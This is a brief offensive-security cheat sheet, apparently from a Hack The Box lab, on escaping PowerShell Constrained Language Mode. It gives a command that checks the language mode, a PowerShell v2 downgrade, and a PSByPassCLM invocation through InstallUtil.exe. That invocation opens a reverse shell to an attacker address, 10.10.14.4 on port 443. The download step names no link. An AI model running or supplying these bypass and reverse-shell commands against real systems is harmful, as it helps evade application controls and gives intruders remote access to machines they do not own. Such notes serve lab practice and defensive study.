Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out.

To view if you are in ConstrainedLangauage:

PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode 
ConstrainedLanguage 

Powershell2 downgrade

You can try and bypass by downgrading to powershell v2:

powershell -version 2

PSByPassCLM

Download:

Upload that as a.exe and run:

PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.14.4 /rport=443 \users\amanda\appdata\local\temp\a.exe
